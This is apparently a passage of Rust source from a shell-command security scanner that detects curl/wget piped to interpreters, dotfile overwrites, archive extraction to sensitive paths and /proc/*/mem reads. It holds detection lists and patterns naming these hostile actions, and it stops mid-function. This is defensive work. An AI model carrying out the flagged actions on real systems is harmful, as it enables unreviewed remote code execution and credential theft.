1use once_cell::sync::Lazy;
2use regex::Regex;
3
4use crate::extract::ScanContext;
5use crate::redact;
6use crate::tokenize::{self, ShellType};
7use crate::verdict::{Evidence, Finding, RuleId, Severity};
8
9pub const INTERPRETERS: &[&str] = &[
12 "sh",
13 "bash",
14 "zsh",
15 "dash",
16 "ksh",
17 "fish",
18 "csh",
19 "tcsh",
20 "ash",
21 "mksh",
22 "python",
23 "python2",
24 "python3",
25 "node",
26 "deno",
27 "bun",
28 "perl",
29 "ruby",
30 "php",
31 "lua",
32 "tclsh",
33 "elixir",
34 "rscript",
35 "pwsh",
36 "iex",
37 "invoke-expression",
38 "cmd",
39];
40
41fn parse_numeric_escape(
45 chars: &[char],
46 i: &mut usize,
47 max_digits: usize,
48 radix: u32,
49 predicate: fn(&char) -> bool,
50) -> Option<char> {
51 let mut buf = [0u8; 8];
52 let mut n = 0;
53 for _ in 0..max_digits {
54 if *i < chars.len() && predicate(&chars[*i]) {
55 buf[n] = chars[*i] as u8;
56 n += 1;
57 *i += 1;
58 } else {
59 break;
60 }
61 }
62 if n == 0 {
63 return None;
64 }
65 let s = std::str::from_utf8(&buf[..n]).ok()?;
66 let val = u32::from_str_radix(s, radix).ok()?;
67 char::from_u32(val)
68}
69
70fn normalize_shell_token(input: &str, shell: ShellType) -> String {
76 #[derive(PartialEq)]
77 enum QState {
78 Normal,
79 Single,
80 Double,
81 AnsiC,
82 }
83
84 let chars: Vec<char> = input.chars().collect();
85 let len = chars.len();
86 let mut out = String::with_capacity(len);
87 let mut i = 0;
88 let is_ps = matches!(shell, ShellType::PowerShell);
89 let is_cmd = matches!(shell, ShellType::Cmd);
90 let mut state = QState::Normal;
91
92 while i < len {
93 match state {
94 QState::Normal => {
95 let ch = chars[i];
96 if is_cmd && ch == '^' && i + 1 < len {
97 out.push(chars[i + 1]);
99 i += 2;
100 } else if !is_ps && !is_cmd && ch == '\\' && i + 1 < len {
101 out.push(chars[i + 1]);
103 i += 2;
104 } else if is_ps && ch == '`' && i + 1 < len {
105 out.push(chars[i + 1]);
107 i += 2;
108 } else if ch == '\'' && !is_cmd {
109 state = QState::Single;
110 i += 1;
111 } else if ch == '"' {
112 state = QState::Double;
113 i += 1;
114 } else if shell == ShellType::Posix
115 && ch == '$'
116 && i + 1 < len
117 && chars[i + 1] == '\''
118 {
119 state = QState::AnsiC;
120 i += 2;
121 } else {
122 out.push(ch);
123 i += 1;
124 }
125 }
126 QState::Single => {
127 if chars[i] == '\'' {
128 if is_ps && i + 1 < len && chars[i + 1] == '\'' {
130 out.push('\'');
131 i += 2;
132 } else {
133 state = QState::Normal;
134 i += 1;
135 }
136 } else {
137 out.push(chars[i]);
138 i += 1;
139 }
140 }
141 QState::Double => {
142 if chars[i] == '"' {
143 state = QState::Normal;
144 i += 1;
145 } else if is_cmd && chars[i] == '^' && i + 1 < len {
146 out.push(chars[i + 1]);
148 i += 2;
149 } else if !is_ps && chars[i] == '\\' && i + 1 < len {
150 let next = chars[i + 1];
152 if next == '"' || next == '\\' || next == '$' || next == '`' {
153 out.push(next);
154 i += 2;
155 } else {
156 out.push('\\');
158 out.push(next);
159 i += 2;
160 }
161 } else if is_ps && chars[i] == '`' && i + 1 < len {
162 out.push(chars[i + 1]);
164 i += 2;
165 } else {
166 out.push(chars[i]);
167 i += 1;
168 }
169 }
170 QState::AnsiC => {
171 if chars[i] == '\'' {
172 state = QState::Normal;
173 i += 1;
174 } else if chars[i] == '\\' && i + 1 < len {
175 let esc = chars[i + 1];
176 match esc {
177 'n' => {
178 out.push('\n');
179 i += 2;
180 }
181 't' => {
182 out.push('\t');
183 i += 2;
184 }
185 'r' => {
186 out.push('\r');
187 i += 2;
188 }
189 '\\' => {
190 out.push('\\');
191 i += 2;
192 }
193 '\'' => {
194 out.push('\'');
195 i += 2;
196 }
197 '"' => {
198 out.push('"');
199 i += 2;
200 }
201 'a' => {
202 out.push('\x07');
203 i += 2;
204 }
205 'b' => {
206 out.push('\x08');
207 i += 2;
208 }
209 'e' | 'E' => {
210 out.push('\x1b');
211 i += 2;
212 }
213 'f' => {
214 out.push('\x0c');
215 i += 2;
216 }
217 'v' => {
218 out.push('\x0b');
219 i += 2;
220 }
221 'x' => {
222 i += 2;
224 if let Some(c) =
225 parse_numeric_escape(&chars, &mut i, 2, 16, char::is_ascii_hexdigit)
226 {
227 out.push(c);
228 }
229 }
230 'u' => {
231 i += 2;
233 if let Some(c) =
234 parse_numeric_escape(&chars, &mut i, 4, 16, char::is_ascii_hexdigit)
235 {
236 out.push(c);
237 }
238 }
239 'U' => {
240 i += 2;
242 if let Some(c) =
243 parse_numeric_escape(&chars, &mut i, 8, 16, char::is_ascii_hexdigit)
244 {
245 out.push(c);
246 }
247 }
248 c if c.is_ascii_digit() && c <= '7' => {
249 i += 1; if let Some(c) = parse_numeric_escape(&chars, &mut i, 3, 8, |c| {
252 c.is_ascii_digit() && *c <= '7'
253 }) {
254 out.push(c);
255 }
256 }
257 _ => {
258 out.push('\\');
260 out.push(esc);
261 i += 2;
262 }
263 }
264 } else {
265 out.push(chars[i]);
266 i += 1;
267 }
268 }
269 }
270 }
271 out
272}
273
274fn normalize_cmd_base(raw: &str, shell: ShellType) -> String {
278 let normalized = normalize_shell_token(raw.trim(), shell);
279 basename_from_normalized(&normalized, shell)
280}
281
282fn basename_from_normalized(normalized: &str, shell: ShellType) -> String {
285 let has_path_sep = match shell {
286 ShellType::PowerShell | ShellType::Cmd => {
287 normalized.contains('/') || normalized.contains('\\')
288 }
289 _ => normalized.contains('/'),
290 };
291 let after_path = if has_path_sep {
292 match shell {
293 ShellType::PowerShell | ShellType::Cmd => {
294 normalized.rsplit(['/', '\\']).next().unwrap_or(normalized)
295 }
296 _ => normalized.rsplit('/').next().unwrap_or(normalized),
297 }
298 } else {
299 normalized
300 };
301 let first_word = after_path.split_whitespace().next().unwrap_or("");
302 let lower = first_word.to_lowercase();
303 if lower.ends_with(".exe") {
304 lower[..lower.len() - 4].to_string()
305 } else {
306 lower
307 }
308}
309
310fn is_interpreter(cmd: &str) -> bool {
311 INTERPRETERS.contains(&cmd)
312}
313
314pub fn check(
316 input: &str,
317 shell: ShellType,
318 cwd: Option<&str>,
319 scan_context: ScanContext,
320) -> Vec<Finding> {
321 let mut findings = Vec::new();
322 let segments = tokenize::tokenize(input, shell);
323
324 let has_pipe = segments.iter().any(|s| {
325 s.preceding_separator.as_deref() == Some("|")
326 || s.preceding_separator.as_deref() == Some("|&")
327 });
328 if has_pipe {
329 check_pipe_to_interpreter(&segments, shell, &mut findings);
330 }
331
332 for segment in &segments {
334 if let Some(ref cmd) = segment.command {
335 let cmd_base = normalize_cmd_base(cmd, shell);
336 if is_source_command(&cmd_base) {
337 let tls_findings =
338 crate::rules::transport::check_insecure_flags(&segment.args, true);
339 findings.extend(tls_findings);
340 }
341 }
342 }
343
344 check_dotfile_overwrite(&segments, &mut findings);
345 check_archive_extract(&segments, &mut findings);
346 check_proc_mem_access(&segments, shell, &mut findings);
347 check_docker_remote_privesc(&segments, shell, &mut findings);
348 check_credential_file_sweep(&segments, shell, scan_context, &mut findings);
349
350 if scan_context == ScanContext::Exec {
351 check_vet_not_configured(&segments, cwd, &mut findings);
352 }
353
354 check_env_var_in_command(&segments, &mut findings);
355 check_network_destination(&segments, &mut findings);
356 check_base64_decode_execute(&segments, shell, &mut findings);
357 check_data_exfiltration(&segments, shell, &mut findings);
358
359 findings
360}
361
362fn resolve_interpreter_name(seg: &tokenize::Segment, shell: ShellType) -> Option<String> {
365 if let Some(ref cmd) = seg.command {
366 let cmd_base = normalize_cmd_base(cmd, shell);
367
368 if is_interpreter(&cmd_base) {
369 return Some(cmd_base);
370 }
371
372 let stripped = cmd_base.trim_start_matches('(').trim_end_matches(')');
374 if stripped != cmd_base && is_interpreter(stripped) {
375 return Some(stripped.to_string());
376 }
377
378 if cmd_base == "{" {
380 return resolve_from_args(&seg.args, shell);
381 }
382
383 match cmd_base.as_str() {
384 "sudo" => return resolve_sudo_args(&seg.args, shell),
385 "env" => return resolve_env_args(&seg.args, shell),
386 "command" | "exec" | "nohup" => {
387 return resolve_wrapper_args(&seg.args, &cmd_base, shell);
388 }
389 _ => {}
390 }
391 }
392 None
393}
394
395fn resolve_base_through_wrappers(seg: &tokenize::Segment, shell: ShellType) -> String {
399 let Some(ref cmd) = seg.command else {
400 return String::new();
401 };
402 let cmd_base = normalize_cmd_base(cmd, shell);
403
404 match cmd_base.as_str() {
405 "sudo" => resolve_base_sudo(&seg.args, shell).unwrap_or(cmd_base),
406 "env" => resolve_base_env(&seg.args, shell).unwrap_or(cmd_base),
407 "command" | "exec" | "nohup" => {
408 resolve_base_wrapper(&seg.args, &cmd_base, shell).unwrap_or(cmd_base)
409 }
410 _ => cmd_base,
411 }
412}
413
414fn resolve_base_sudo(args: &[String], shell: ShellType) -> Option<String> {
416 let value_short_flags = ["-u", "-g", "-C", "-D", "-R", "-T"];
417 let value_long_flags = [
418 "--user",
419 "--group",
420 "--close-from",
421 "--chdir",
422 "--role",
423 "--type",
424 "--other-user",
425 "--host",
426 "--timeout",
427 ];
428 let mut idx = 0;
429 while idx < args.len() {
430 let normalized = normalize_shell_token(args[idx].trim(), shell);
431 if normalized == "--" {
432 if idx + 1 < args.len() {
433 return Some(normalize_cmd_base(&args[idx + 1], shell));
434 }
435 return None;
436 }
437 if normalized.starts_with("--") {
438 if value_long_flags.iter().any(|f| normalized == *f) {
439 idx += 2;
440 } else {
441 idx += 1;
442 }
443 continue;
444 }
445 if normalized.starts_with('-') {
446 if value_short_flags.iter().any(|f| normalized == *f)
447 || (normalized.len() > 2
448 && value_short_flags
449 .iter()
450 .any(|f| normalized.ends_with(&f[1..])))
451 {
452 idx += 2;
453 } else {
454 idx += 1;
455 }
456 continue;
457 }
458 let base = normalize_cmd_base(&args[idx], shell);
460 return match base.as_str() {
461 "sudo" => resolve_base_sudo(&args[idx + 1..], shell),
462 "env" => resolve_base_env(&args[idx + 1..], shell),
463 "command" | "exec" | "nohup" => resolve_base_wrapper(&args[idx + 1..], &base, shell),
464 _ => Some(base),
465 };
466 }
467 None
468}
469
470fn resolve_base_env(args: &[String], shell: ShellType) -> Option<String> {
472 let value_short_flags = ["-u", "-C"];
473 let value_long_flags = [
474 "--unset",
475 "--chdir",
476 "--split-string",
477 "--block-signal",
478 "--default-signal",
479 "--ignore-signal",
480 ];
481 let mut idx = 0;
482 while idx < args.len() {
483 let normalized = normalize_shell_token(args[idx].trim(), shell);
484 if normalized == "--" {
485 if idx + 1 < args.len() {
486 return Some(normalize_cmd_base(&args[idx + 1], shell));
487 }
488 return None;
489 }
490 if normalized.starts_with("--") {
491 if normalized == "--split-string" {
492 if idx + 1 < args.len() {
493 return resolve_base_from_command_string(&args[idx + 1], shell);
494 }
495 return None;
496 }
497 if let Some(val) = normalized.strip_prefix("--split-string=") {
498 return resolve_base_from_command_string(val, shell);
499 }
500 if value_long_flags.iter().any(|f| normalized == *f) {
501 idx += 2;
502 } else {
503 idx += 1;
504 }
505 continue;
506 }
507 if normalized == "-S" {
508 if idx + 1 < args.len() {
509 return resolve_base_from_command_string(&args[idx + 1], shell);
510 }
511 return None;
512 }
513 if normalized.starts_with('-') {
514 if value_short_flags.iter().any(|f| normalized == *f) {
515 idx += 2;
516 } else {
517 idx += 1;
518 }
519 continue;
520 }
521 if normalized.contains('=') {
523 idx += 1;
524 continue;
525 }
526 let base = normalize_cmd_base(&args[idx], shell);
527 return match base.as_str() {
528 "sudo" => resolve_base_sudo(&args[idx + 1..], shell),
529 "env" => resolve_base_env(&args[idx + 1..], shell),
530 "command" | "exec" | "nohup" => resolve_base_wrapper(&args[idx + 1..], &base, shell),
531 _ => Some(base),
532 };
533 }
534 None
535}
536
537fn resolve_base_from_command_string(command: &str, shell: ShellType) -> Option<String> {
538 let normalized = normalize_shell_token(command.trim(), shell);
539 if normalized.is_empty() {
540 return None;
541 }
542
543 let segments = tokenize::tokenize(&normalized, shell);
544 let first = segments.first()?;
545 let base = resolve_base_through_wrappers(first, shell);
546 if base.is_empty() {
547 None
548 } else {
549 Some(base)
550 }
551}
552
553fn unwrap_env_split_string_segment(
554 seg: &tokenize::Segment,
555 shell: ShellType,
556) -> Option<tokenize::Segment> {
557 let command = seg.command.as_ref()?;
558 if normalize_cmd_base(command, shell) != "env" {
559 return None;
560 }
561
562 let value_short_flags = ["-u", "-C"];
563 let value_long_flags = [
564 "--unset",
565 "--chdir",
566 "--block-signal",
567 "--default-signal",
568 "--ignore-signal",
569 ];
570
571 let args = &seg.args;
572 let mut idx = 0;
573 while idx < args.len() {
574 let normalized = normalize_shell_token(args[idx].trim(), shell);
575 if normalized == "--split-string" || normalized == "-S" {
576 let command = args.get(idx + 1)?;
577 let normalized_command = normalize_shell_token(command.trim(), shell);
578 return tokenize::tokenize(&normalized_command, shell)
579 .into_iter()
580 .next();
581 }
582 if let Some(val) = normalized.strip_prefix("--split-string=") {
583 let normalized_command = normalize_shell_token(val.trim(), shell);
584 return tokenize::tokenize(&normalized_command, shell)
585 .into_iter()
586 .next();
587 }
588 if normalized == "--" {
589 return None;
590 }
591 if normalized.starts_with("--") {
592 if value_long_flags.iter().any(|f| normalized == *f) {
593 idx += 2;
594 } else {
595 idx += 1;
596 }
597 continue;
598 }
599 if normalized.starts_with('-') {
600 if value_short_flags.iter().any(|f| normalized == *f) {
601 idx += 2;
602 } else {
603 idx += 1;
604 }
605 continue;
606 }
607 if normalized.contains('=') {
608 idx += 1;
609 continue;
610 }
611 return None;
612 }
613 None
614}
615
616fn resolve_base_wrapper(args: &[String], wrapper: &str, shell: ShellType) -> Option<String> {
618 let value_flags: &[&str] = match wrapper {
619 "exec" => &["-a"],
620 _ => &[],
621 };
622 let mut idx = 0;
623 while idx < args.len() {
624 let normalized = normalize_shell_token(args[idx].trim(), shell);
625 if normalized == "--" {
626 if idx + 1 < args.len() {
627 return Some(normalize_cmd_base(&args[idx + 1], shell));
628 }
629 return None;
630 }
631 if normalized.starts_with("--") || normalized.starts_with('-') {
632 if value_flags.iter().any(|f| normalized == *f) {
633 idx += 2;
634 } else {
635 idx += 1;
636 }
637 continue;
638 }
639 let base = normalize_cmd_base(&args[idx], shell);
640 return match base.as_str() {
641 "sudo" => resolve_base_sudo(&args[idx + 1..], shell),
642 "env" => resolve_base_env(&args[idx + 1..], shell),
643 "command" | "exec" | "nohup" => resolve_base_wrapper(&args[idx + 1..], &base, shell),
644 _ => Some(base),
645 };
646 }
647 None
648}
649
650#[derive(Clone, Copy)]
651enum ResolverParser {
652 Generic,
653 Sudo,
654 Env,
655 Command,
656 Exec,
657 Nohup,
658}
659
660enum ResolveStep<'a> {
661 Found(String),
662 Next {
663 parser: ResolverParser,
664 args: &'a [String],
665 inspected: usize,
666 },
667 Stop,
668}
669
670fn resolve_from_args(args: &[String], shell: ShellType) -> Option<String> {
673 resolve_with_parser(args, shell, ResolverParser::Generic)
674}
675
676fn resolve_sudo_args(args: &[String], shell: ShellType) -> Option<String> {
677 resolve_with_parser(args, shell, ResolverParser::Sudo)
678}
679
680fn resolve_env_args(args: &[String], shell: ShellType) -> Option<String> {
681 resolve_with_parser(args, shell, ResolverParser::Env)
682}
683
684fn resolve_wrapper_args(args: &[String], wrapper: &str, shell: ShellType) -> Option<String> {
685 let parser = match wrapper {
686 "command" => ResolverParser::Command,
687 "exec" => ResolverParser::Exec,
688 "nohup" => ResolverParser::Nohup,
689 _ => ResolverParser::Command,
690 };
691 resolve_with_parser(args, shell, parser)
692}
693
694fn resolve_with_parser(
695 args: &[String],
696 shell: ShellType,
697 start_parser: ResolverParser,
698) -> Option<String> {
699 if args.is_empty() {
700 return None;
701 }
702
703 let mut parser = start_parser;
704 let mut current = args;
705 let mut budget = args.len().saturating_mul(4).saturating_add(8);
707
708 while budget > 0 && !current.is_empty() {
709 let step = match parser {
710 ResolverParser::Generic => resolve_step_generic(current, shell),
711 ResolverParser::Sudo => resolve_step_sudo(current, shell),
712 ResolverParser::Env => resolve_step_env(current, shell),
713 ResolverParser::Command => resolve_step_wrapper(current, shell, "command"),
714 ResolverParser::Exec => resolve_step_wrapper(current, shell, "exec"),
715 ResolverParser::Nohup => resolve_step_wrapper(current, shell, "nohup"),
716 };
717
718 match step {
719 ResolveStep::Found(interpreter) => return Some(interpreter),
720 ResolveStep::Stop => return None,
721 ResolveStep::Next {
722 parser: next_parser,
723 args: next_args,
724 inspected,
725 } => {
726 parser = next_parser;
727 current = next_args;
728 budget = budget.saturating_sub(inspected.max(1));
729 }
730 }
731 }
732 None
733}
734
735fn resolve_step_generic<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
736 let mut idx = 0;
737 let mut seen_dashdash = false;
738 while idx < args.len() {
739 let raw = args[idx].trim();
740 let normalized = normalize_shell_token(raw, shell);
741
742 if normalized == "--" {
743 seen_dashdash = true;
744 idx += 1;
745 continue;
746 }
747
748 if !seen_dashdash
750 && (normalized.starts_with("--")
751 || normalized.starts_with('-')
752 || normalized.contains('='))
753 {
754 idx += 1;
755 continue;
756 }
757
758 let base = basename_from_normalized(&normalized, shell);
759 return match base.as_str() {
760 "sudo" => ResolveStep::Next {
761 parser: ResolverParser::Sudo,
762 args: &args[idx + 1..],
763 inspected: idx + 1,
764 },
765 "env" => ResolveStep::Next {
766 parser: ResolverParser::Env,
767 args: &args[idx + 1..],
768 inspected: idx + 1,
769 },
770 "command" => ResolveStep::Next {
771 parser: ResolverParser::Command,
772 args: &args[idx + 1..],
773 inspected: idx + 1,
774 },
775 "exec" => ResolveStep::Next {
776 parser: ResolverParser::Exec,
777 args: &args[idx + 1..],
778 inspected: idx + 1,
779 },
780 "nohup" => ResolveStep::Next {
781 parser: ResolverParser::Nohup,
782 args: &args[idx + 1..],
783 inspected: idx + 1,
784 },
785 _ if is_interpreter(&base) => ResolveStep::Found(base),
786 _ => ResolveStep::Stop,
787 };
788 }
789 ResolveStep::Stop
790}
791
792fn resolve_step_sudo<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
793 let value_short_flags = ["-u", "-g", "-C", "-D", "-R", "-T"];
794 let value_long_flags = [
795 "--user",
796 "--group",
797 "--close-from",
798 "--chdir",
799 "--role",
800 "--type",
801 "--other-user",
802 "--host",
803 "--timeout",
804 ];
805
806 let mut idx = 0;
807 while idx < args.len() {
808 let raw = args[idx].trim();
809 let normalized = normalize_shell_token(raw, shell);
810 if normalized == "--" {
812 return ResolveStep::Next {
813 parser: ResolverParser::Generic,
814 args: &args[(idx + 1).min(args.len())..],
815 inspected: idx + 1,
816 };
817 }
818 if normalized.starts_with("--") {
819 if value_long_flags.iter().any(|f| normalized == *f) {
820 idx += 2;
821 continue;
822 }
823 if let Some((key, _)) = normalized.split_once('=') {
824 if value_long_flags.contains(&key) {
825 idx += 1;
826 continue;
827 }
828 }
829 idx += 1;
831 continue;
832 }
833 if normalized.starts_with('-') {
834 if value_short_flags.iter().any(|f| normalized == *f) {
835 idx += 2;
836 } else if normalized.len() > 2
837 && value_short_flags
838 .iter()
839 .any(|f| normalized.ends_with(&f[1..]))
840 {
841 idx += 2;
843 } else {
844 idx += 1;
845 }
846 continue;
847 }
848 return ResolveStep::Next {
849 parser: ResolverParser::Generic,
850 args: &args[idx..],
851 inspected: idx + 1,
852 };
853 }
854 ResolveStep::Stop
855}
856
857fn resolve_step_env<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
858 let value_short_flags = ["-u", "-C"];
859 let value_long_flags = [
860 "--unset",
861 "--chdir",
862 "--split-string",
863 "--block-signal",
864 "--default-signal",
865 "--ignore-signal",
866 ];
867
868 let mut idx = 0;
869 while idx < args.len() {
870 let raw = args[idx].trim();
871 let normalized = normalize_shell_token(raw, shell);
872 if normalized == "--" {
874 return ResolveStep::Next {
875 parser: ResolverParser::Generic,
876 args: &args[(idx + 1).min(args.len())..],
877 inspected: idx + 1,
878 };
879 }
880 if normalized.starts_with("--") {
881 if normalized == "--split-string" {
883 if idx + 1 < args.len() {
884 let base = normalize_cmd_base(&args[idx + 1], shell);
885 if is_interpreter(&base) {
886 return ResolveStep::Found(base);
887 }
888 }
889 idx += 2;
890 continue;
891 }
892 if let Some(val) = normalized.strip_prefix("--split-string=") {
893 let base = normalize_cmd_base(val, shell);
894 if is_interpreter(&base) {
895 return ResolveStep::Found(base);
896 }
897 idx += 1;
898 continue;
899 }
900 if value_long_flags.iter().any(|f| normalized == *f) {
901 idx += 2;
902 continue;
903 }
904 if let Some((key, _)) = normalized.split_once('=') {
905 if value_long_flags.contains(&key) {
906 idx += 1;
907 continue;
908 }
909 }
910 idx += 1;
912 continue;
913 }
914 if normalized == "-S" {
915 if idx + 1 < args.len() {
917 let base = normalize_cmd_base(&args[idx + 1], shell);
918 if is_interpreter(&base) {
919 return ResolveStep::Found(base);
920 }
921 }
922 idx += 2;
923 continue;
924 }
925 if normalized.starts_with('-') {
926 if value_short_flags.iter().any(|f| normalized == *f) {
927 idx += 2;
928 } else {
929 idx += 1;
930 }
931 continue;
932 }
933 if normalized.contains('=') {
934 idx += 1;
935 continue;
936 }
937 return ResolveStep::Next {
938 parser: ResolverParser::Generic,
939 args: &args[idx..],
940 inspected: idx + 1,
941 };
942 }
943 ResolveStep::Stop
944}
945
946fn resolve_step_wrapper<'a>(
947 args: &'a [String],
948 shell: ShellType,
949 wrapper: &str,
950) -> ResolveStep<'a> {
951 let value_flags: &[&str] = match wrapper {
952 "exec" => &["-a"],
953 _ => &[],
954 };
955
956 let mut idx = 0;
957 while idx < args.len() {
958 let raw = args[idx].trim();
959 let normalized = normalize_shell_token(raw, shell);
960 if normalized == "--" {
962 return ResolveStep::Next {
963 parser: ResolverParser::Generic,
964 args: &args[(idx + 1).min(args.len())..],
965 inspected: idx + 1,
966 };
967 }
968 if normalized.starts_with("--") || normalized.starts_with('-') {
969 if value_flags.iter().any(|f| normalized == *f) {
970 idx += 2;
971 } else {
972 idx += 1;
973 }
974 continue;
975 }
976 return ResolveStep::Next {
977 parser: ResolverParser::Generic,
978 args: &args[idx..],
979 inspected: idx + 1,
980 };
981 }
982 ResolveStep::Stop
983}
984
985fn check_pipe_to_interpreter(
986 segments: &[tokenize::Segment],
987 shell: ShellType,
988 findings: &mut Vec<Finding>,
989) {
990 for (i, seg) in segments.iter().enumerate() {
991 if i == 0 {
992 continue;
993 }
994 if let Some(sep) = &seg.preceding_separator {
995 if sep == "|" || sep == "|&" {
996 if let Some(interpreter) = resolve_interpreter_name(seg, shell) {
997 let source = &segments[i - 1];
998 let source_cmd_ref = source.command.as_deref().unwrap_or("unknown");
999 let source_base = normalize_cmd_base(source_cmd_ref, shell);
1000 let source_is_tirith_run = source_base == "tirith"
1001 && source
1002 .args
1003 .first()
1004 .map(|arg| normalize_cmd_base(arg, shell) == "run")
1005 .unwrap_or(false);
1006 let source_label = if source_is_tirith_run {
1007 "tirith run".to_string()
1008 } else {
1009 source_base.clone()
1010 };
1011
1012 if source_base == "tirith" && !source_is_tirith_run {
1014 continue;
1015 }
1016
1017 let rule_id = match source_base.as_str() {
1018 "curl" => RuleId::CurlPipeShell,
1019 "wget" => RuleId::WgetPipeShell,
1020 "http" | "https" => RuleId::HttpiePipeShell,
1021 "xh" => RuleId::XhPipeShell,
1022 _ => RuleId::PipeToInterpreter,
1023 };
1024
1025 let display_cmd = seg.command.as_deref().unwrap_or(&interpreter);
1026
1027 let base_desc = format!(
1028 "Command pipes output from '{source_label}' directly to \
1029 interpreter '{interpreter}'. Downloaded content will be \
1030 executed without inspection."
1031 );
1032
1033 let description = if is_url_fetch_command(&source_base) {
1034 let show_tirith_run = cfg!(unix)
1035 && supports_tirith_run_hint(&source_base)
1036 && shell != ShellType::PowerShell;
1037 if let Some(url) = extract_urls_from_args(&source.args, shell)
1038 .into_iter()
1039 .next()
1040 .map(|u| sanitize_url_for_display(&u))
1041 {
1042 if show_tirith_run {
1043 format!(
1044 "{base_desc}\n Safer: tirith run {url} \
1045 \u{2014} or: vet {url} (https://getvet.sh)"
1046 )
1047 } else {
1048 format!(
1049 "{base_desc}\n Safer: vet {url} \
1050 (https://getvet.sh)"
1051 )
1052 }
1053 } else if show_tirith_run {
1054 format!(
1055 "{base_desc}\n Safer: use 'tirith run <url>' \
1056 or 'vet <url>' (https://getvet.sh) to inspect \
1057 before executing."
1058 )
1059 } else {
1060 format!(
1061 "{base_desc}\n Safer: use 'vet <url>' \
1062 (https://getvet.sh) to inspect before executing."
1063 )
1064 }
1065 } else {
1066 base_desc
1067 };
1068
1069 let mut evidence = vec![Evidence::CommandPattern {
1070 pattern: "pipe to interpreter".to_string(),
1071 matched: redact::redact_shell_assignments(&format!(
1072 "{} | {}",
1073 source.raw, seg.raw
1074 )),
1075 }];
1076 for url in extract_urls_from_args(&source.args, shell) {
1077 evidence.push(Evidence::Url { raw: url });
1078 }
1079
1080 findings.push(Finding {
1081 rule_id,
1082 severity: Severity::High,
1083 title: format!("Pipe to interpreter: {source_cmd_ref} | {display_cmd}"),
1084 description,
1085 evidence,
1086 human_view: None,
1087 agent_view: None,
1088 mitre_id: None,
1089 custom_rule_id: None,
1090 });
1091 }
1092 }
1093 }
1094 }
1095}
1096
1097fn check_dotfile_overwrite(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1098 for segment in segments {
1099 let raw = &segment.raw;
1100 if (raw.contains("> ~/.")
1101 || raw.contains("> $HOME/.")
1102 || raw.contains(">> ~/.")
1103 || raw.contains(">> $HOME/."))
1104 && !raw.contains("> /dev/null")
1105 {
1106 findings.push(Finding {
1107 rule_id: RuleId::DotfileOverwrite,
1108 severity: Severity::High,
1109 title: "Dotfile overwrite detected".to_string(),
1110 description: "Command redirects output to a dotfile in the home directory, which could overwrite shell configuration".to_string(),
1111 evidence: vec![Evidence::CommandPattern {
1112 pattern: "redirect to dotfile".to_string(),
1113 matched: redact::redact_shell_assignments(raw),
1114 }],
1115 human_view: None,
1116 agent_view: None,
1117 mitre_id: None,
1118 custom_rule_id: None,
1119 });
1120 }
1121 }
1122}
1123
1124fn check_archive_extract(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1125 for segment in segments {
1126 if let Some(ref cmd) = segment.command {
1127 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1128 if cmd_base == "tar" || cmd_base == "unzip" || cmd_base == "7z" {
1129 let raw = &segment.raw;
1130 let sensitive_targets = [
1131 "-C /",
1132 "-C ~/",
1133 "-C $HOME/",
1134 "-d /",
1135 "-d ~/",
1136 "-d $HOME/",
1137 "> ~/.",
1138 ">> ~/.",
1139 ];
1140 for target in &sensitive_targets {
1141 if raw.contains(target) {
1142 findings.push(Finding {
1143 rule_id: RuleId::ArchiveExtract,
1144 severity: Severity::Medium,
1145 title: "Archive extraction to sensitive path".to_string(),
1146 description: format!(
1147 "Archive command '{cmd_base}' extracts to a potentially sensitive location"
1148 ),
1149 evidence: vec![Evidence::CommandPattern {
1150 pattern: "archive extract".to_string(),
1151 matched: redact::redact_shell_assignments(raw),
1152 }],
1153 human_view: None,
1154 agent_view: None,
1155 mitre_id: None,
1156 custom_rule_id: None,
1157 });
1158 return;
1159 }
1160 }
1161 }
1162 }
1163 }
1164}
1165
1166const PROC_MEM_READER_CMDS: &[&str] = &[
1169 "cat", "dd", "strings", "head", "tail", "xxd", "od", "base64", "hexdump", "less", "more", "cp",
1170 "grep",
1171];
1172
1173static PROC_MEM_RE: Lazy<Regex> =
1174 Lazy::new(|| Regex::new(r"/proc/(?:self|\d+)/mem\b").expect("PROC_MEM_RE"));
1175
1176fn check_proc_mem_access(
1177 segments: &[tokenize::Segment],
1178 shell: ShellType,
1179 findings: &mut Vec<Finding>,
1180) {
1181 for seg in segments {
1182 let effective_seg =
1183 unwrap_env_split_string_segment(seg, shell).unwrap_or_else(|| seg.clone());
1184 let resolved_cmd = resolve_base_through_wrappers(&effective_seg, shell);
1185 if !PROC_MEM_READER_CMDS.contains(&resolved_cmd.as_str()) {
1186 continue;
1187 }
1188
1189 for arg in &effective_seg.args {
1190 let normalized = normalize_shell_token(arg, shell);
1191 if PROC_MEM_RE.is_match(&normalized) {
1192 findings.push(Finding {
1193 rule_id: RuleId::ProcMemAccess,
1194 severity: Severity::High,
1195 title: "Process memory access detected".to_string(),
1196 description: "Command reads from /proc/*/mem, which can dump process memory \
1197 contents including secrets and credentials"
1198 .to_string(),
1199 evidence: vec![Evidence::CommandPattern {
1200 pattern: "proc memory read".to_string(),
1201 matched: redact::redact_shell_assignments(&seg.raw),
1202 }],
1203 human_view: None,
1204 agent_view: None,
1205 mitre_id: None,
1206 custom_rule_id: None,
1207 });
1208 return;
1209 }
1210 if let Some(val) = normalized.strip_prefix("if=") {
1212 if PROC_MEM_RE.is_match(val) {
1213 findings.push(Finding {
1214 rule_id: RuleId::ProcMemAccess,
1215 severity: Severity::High,
1216 title: "Process memory access detected".to_string(),
1217 description: "Command reads from /proc/*/mem via dd, which can dump \
1218 process memory contents including secrets and credentials"
1219 .to_string(),
1220 evidence: vec![Evidence::CommandPattern {
1221 pattern: "proc memory read".to_string(),
1222 matched: redact::redact_shell_assignments(&seg.raw),
1223 }],
1224 human_view: None,
1225 agent_view: None,
1226 mitre_id: None,
1227 custom_rule_id: None,
1228 });
1229 return;
1230 }
1231 }
1232 }
1233 }
1234}
1235
1236fn check_docker_remote_privesc(
1237 segments: &[tokenize::Segment],
1238 shell: ShellType,
1239 findings: &mut Vec<Finding>,
1240) {
1241 for seg in segments {
1242 let effective_seg =
1243 unwrap_env_split_string_segment(seg, shell).unwrap_or_else(|| seg.clone());
1244 let resolved_cmd = resolve_base_through_wrappers(&effective_seg, shell);
